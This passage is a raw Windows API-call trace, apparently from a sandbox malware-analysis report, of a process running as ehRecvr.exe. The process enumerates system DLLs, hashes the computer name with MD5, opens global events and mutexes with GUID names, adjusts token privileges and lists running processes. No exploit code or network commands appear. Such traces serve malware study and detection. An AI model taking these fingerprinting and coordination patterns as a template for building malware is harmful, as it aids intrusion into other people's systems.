lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb5dae70, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbb5dae70, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x87976130, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x21000, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="dbnetlib.dll", cAlternateFileName="")) returned 1 [0036.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0x30c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBNETLIB.DLL", lpUsedDefaultChar=0x0) returned 12 [0036.410] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83de1c0, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb83de1c0, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="dbnmpntw.dll", cAlternateFileName="")) returned 1 [0036.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBNMPNTW.DLL", lpUsedDefaultChar=0x0) returned 12 [0036.410] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310962f5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x310962f5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="dciman32.dll", cAlternateFileName="")) returned 1 [0036.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0x30c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DCIMAN32.DLL", lpUsedDefaultChar=0x0) returned 12 [0036.410] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ce87462, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6ce87462, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x879e8d20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="DDACLSys.dll", cAlternateFileName="")) returned 1 [0036.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDACLSYS.DLL", lpUsedDefaultChar=0x0) returned 12 [0036.410] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb2e5d95, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xfb2e5d95, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x87a5b910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="DDOIProxy.dll", cAlternateFileName="")) returned 1 [0036.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0036.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0x30c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDOIPROXY.DLL", lpUsedDefaultChar=0x0) returned 13 [0036.410] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff187ed0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xff187ed0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x88511440, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5fce00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="DDORes.dll", cAlternateFileName="")) returned 1 [0036.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0036.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0x30c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDORES.DLL", lpUsedDefaultChar=0x0) returned 10 [0036.410] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e74d256, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8e74d256, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x885f4510, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x81e00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="ddraw.dll", cAlternateFileName="")) returned 1 [0036.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0036.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0x30c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAW.DLL", lpUsedDefaultChar=0x0) returned 9 [0036.410] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95b0bd0c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x95b0bd0c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x88642710, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="ddrawex.dll", cAlternateFileName="")) returned 1 [0036.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAWEX.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.410] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1ba2bbc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1ba2bbc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1bc8d1d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35e00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="defaultlocationcpl.dll", cAlternateFileName="")) returned 1 [0036.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0036.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0x30c288, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEFAULTLOCATIONCPL.DLL", lpUsedDefaultChar=0x0) returned 22 [0036.411] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1326ca, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4e1326ca, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x887257e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="deskadp.dll", cAlternateFileName="")) returned 1 [0036.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DESKADP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.415] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32.dll", BaseAddress=0x17afc40 | out: BaseAddress=0x17afc40*=0x75fd0000) returned 0x0 [0036.419] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0036.419] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0036.419] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e840) returned 1 [0036.419] FindClose (in: hFindFile=0x44fcd8 | out: hFindFile=0x44fcd8) returned 1 [0036.420] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e268) returned 1 [0036.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x184) returned 0xed7cf8 [0036.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0036.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0036.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c240 [0036.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0036.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c900 [0036.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c948 [0036.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c990 [0036.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c9d8 [0036.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30ca20 [0036.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30ca68 [0036.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30cab0 [0036.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30caf8 [0036.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30cb40 [0036.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30cb88 [0036.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30cbd0 [0036.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed7ea0 [0036.420] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\ehome\\ehRecvr.exe", pNumArgs=0x17afc6c | out: pNumArgs=0x17afc6c) returned 0x444790*="C:\\Windows\\ehome\\ehRecvr.exe" [0036.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x10) returned 0x30d5e8 [0036.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d288 [0036.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e268 [0036.421] LocalFree (hMem=0x444790) returned 0x0 [0036.421] Wow64DisableWow64FsRedirection (in: OldValue=0x17afc68 | out: OldValue=0x17afc68*=0x0) returned 1 [0036.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x800) returned 0xed8e88 [0036.421] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xed8e88, nSize=0x200 | out: lpFilename="C:\\Windows\\ehome\\ehRecvr.exe" (normalized: "c:\\windows\\ehome\\ehrecvr.exe")) returned 0x1c [0036.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e840 [0036.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0036.421] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e840) returned 1 [0036.421] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0036.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0036.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed9690 [0036.421] GetEnvironmentVariableW (in: lpName="COMPUTERNAME", lpBuffer=0xed9690, nSize=0x40 | out: lpBuffer="XDUWTFONO") returned 0x9 [0036.421] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0036.421] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0036.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0036.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0036.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed7ee8 [0036.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0xed7ee8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0036.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed7f30 [0036.421] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed7ee8) returned 1 [0036.421] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0036.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed7ee8 [0036.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed7f78 [0036.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed7fc0 [0036.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8008 [0036.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8050 [0036.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8098 [0036.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x5000) returned 0xed2850 [0036.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed80e0 [0036.422] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed80e0) returned 1 [0036.422] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0036.423] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed2850) returned 1 [0036.423] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x448d68, lpbSaclPresent=0x17afa9c, pSacl=0x17afaf0, lpbSaclDefaulted=0x17afa9c | out: lpbSaclPresent=0x17afa9c, pSacl=0x17afaf0, lpbSaclDefaulted=0x17afa9c) returned 1 [0036.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed80e0 [0036.423] CreateEventA (lpEventAttributes=0x17afae4, bManualReset=1, bInitialState=0, lpName="") returned 0x110 [0036.423] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed80e0) returned 1 [0036.423] GetLastError () returned 0x0 [0036.423] LocalFree (hMem=0x448d68) returned 0x0 [0036.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed80e0 [0036.423] CryptAcquireContextW (in: phProv=0x17afad4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17afad4*=0x468618) returned 1 [0036.424] CryptCreateHash (in: hProv=0x468618, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x17afad4 | out: phHash=0x17afad4) returned 1 [0036.424] CryptHashData (hHash=0x44fcd8, pbData=0xed7f78, dwDataLen=0xb, dwFlags=0x0) returned 1 [0036.424] CryptGetHashParam (in: hHash=0x44fcd8, dwParam=0x4, pbData=0x17afad8, pdwDataLen=0x17afae4, dwFlags=0x0 | out: pbData=0x17afad8, pdwDataLen=0x17afae4) returned 1 [0036.425] CryptGetHashParam (in: hHash=0x44fcd8, dwParam=0x2, pbData=0xed80e0, pdwDataLen=0x17afad8, dwFlags=0x0 | out: pbData=0xed80e0, pdwDataLen=0x17afad8) returned 1 [0036.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8128 [0036.425] CryptDestroyHash (hHash=0x44fcd8) returned 1 [0036.425] CryptReleaseContext (hProv=0x468618, dwFlags=0x0) returned 1 [0036.425] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed80e0) returned 1 [0036.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed80e0 [0036.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8170 [0036.425] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed80e0) returned 1 [0036.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed80e0 [0036.425] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed80e0) returned 1 [0036.425] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8170) returned 1 [0036.425] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8128) returned 1 [0036.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8128 [0036.425] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x128 [0036.425] GetLastError () returned 0x0 [0036.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8170 [0036.425] CryptAcquireContextW (in: phProv=0x17afad4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x17afad4*=0x468618) returned 1 [0036.426] CryptCreateHash (in: hProv=0x468618, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x17afad4 | out: phHash=0x17afad4) returned 1 [0036.426] CryptHashData (hHash=0x44fcd8, pbData=0xed7f78, dwDataLen=0xb, dwFlags=0x0) returned 1 [0036.426] CryptGetHashParam (in: hHash=0x44fcd8, dwParam=0x4, pbData=0x17afad8, pdwDataLen=0x17afae4, dwFlags=0x0 | out: pbData=0x17afad8, pdwDataLen=0x17afae4) returned 1 [0036.426] CryptGetHashParam (in: hHash=0x44fcd8, dwParam=0x2, pbData=0xed8170, pdwDataLen=0x17afad8, dwFlags=0x0 | out: pbData=0xed8170, pdwDataLen=0x17afad8) returned 1 [0036.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed80e0 [0036.426] CryptDestroyHash (hHash=0x44fcd8) returned 1 [0036.426] CryptReleaseContext (hProv=0x468618, dwFlags=0x0) returned 1 [0036.426] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8170) returned 1 [0036.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8170 [0036.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed81b8 [0036.426] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8170) returned 1 [0036.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8170 [0036.426] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8170) returned 1 [0036.426] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed81b8) returned 1 [0036.426] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed80e0) returned 1 [0036.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed80e0 [0036.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed81b8 [0036.426] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0036.426] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed81b8) returned 1 [0036.426] GetLastError () returned 0x5 [0036.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed81b8 [0036.427] OpenMutexA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0036.427] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed81b8) returned 1 [0036.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed81b8 [0036.427] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x12c [0036.427] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed81b8) returned 1 [0036.427] SetEvent (hEvent=0x128) returned 1 [0036.455] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0 [0036.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed81b8 [0036.457] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x17af928 | out: TokenHandle=0x17af928*=0x130) returned 0x0 [0036.464] NtAdjustPrivilegesToken (in: TokenHandle=0x130, DisableAllPrivileges=0, NewState=0x17af92c, BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 0x0 [0036.464] NtClose (Handle=0x130) returned 0x0 [0036.464] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x17af928 | out: TokenHandle=0x17af928*=0x130) returned 0x0 [0036.464] NtAdjustPrivilegesToken (in: TokenHandle=0x130, DisableAllPrivileges=0, NewState=0x17af92c, BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 0x0 [0036.464] NtClose (Handle=0x130) returned 0x0 [0036.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8170 [0036.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8200 [0036.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8248 [0036.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x0) returned 0x30d278 [0036.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed2850 [0036.464] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xed2850, Length=0x4000, ResultLength=0x17af8bc | out: SystemInformation=0xed2850, ResultLength=0x17af8bc*=0xc398) returned 0xc0000004 [0036.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xc3c0) returned 0xed9690 [0036.466] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed2850) returned 1 [0036.466] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xed9690, Length=0xc398, ResultLength=0x17af8bc | out: SystemInformation=0xed9690, ResultLength=0x17af8bc*=0x9988) returned 0x0 [0036.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x58) returned 0x30dd90 [0036.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0036.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8290 [0036.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smss.exe", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0036.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed82d8 [0036.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smss.exe", cchWideChar=8, lpMultiByteStr=0xed82d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="smss.exe", lpUsedDefaultChar=0x0) returned 8 [0036.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8320 [0036.467] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed82d8) returned 1 [0036.468] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8320) 